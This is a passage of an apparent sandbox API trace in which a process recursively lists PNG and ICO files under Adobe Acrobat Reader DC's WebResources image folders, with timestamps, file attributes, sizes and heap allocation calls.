	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7394, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x104ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1
	[0163.871] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1
	[0163.871] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1
	[0163.871] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_types", cAlternateFileName="FILE_T~1")) returned 1
	[0163.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46a03c8
	[0163.871] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types") returned 101
	[0163.871] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0163.884] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.884] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1
	[0163.884] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x74ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1
	[0163.884] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1
	[0163.885] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1
	[0163.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46b03d0
	[0163.885] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast") returned 113
	[0163.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0163.912] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.912] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2220, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_bow.png", cAlternateFileName="AIC_FI~4.PNG")) returned 1
	[0163.912] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x294b, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_wob.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1
	[0163.912] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_highcontrast.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1
	[0163.912] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3195, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_bow.png", cAlternateFileName="AI6010~1.PNG")) returned 1
	[0163.912] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 1
	[0163.913] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 0
	[0163.913] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0163.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0163.914] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1
	[0163.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46b03d0
	[0163.914] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes") returned 108
	[0163.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0163.916] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.916] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1
	[0163.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46c03d8
	[0163.916] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark") returned 113
	[0163.916] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x394bbf8
	[0163.926] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.927] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1
	[0163.927] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x77ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1
	[0163.927] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1
	[0163.927] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 0
	[0163.927] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0163.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0163.928] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0163.928] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0163.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0163.928] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0163.928] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0163.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0163.928] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1
	[0163.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46a03c8
	[0163.928] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast") returned 102
	[0163.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0163.936] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.936] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2849, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="core_icons_hiContrast_bow.png", cAlternateFileName="CORE_I~3.PNG")) returned 1
	[0163.936] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="core_icons_hiContrast_wob.png", cAlternateFileName="CORE_I~4.PNG")) returned 1
	[0163.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0163.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x465ffc0
	[0163.944] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes") returned 97
	[0163.944] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0164.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0164.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0164.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0164.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
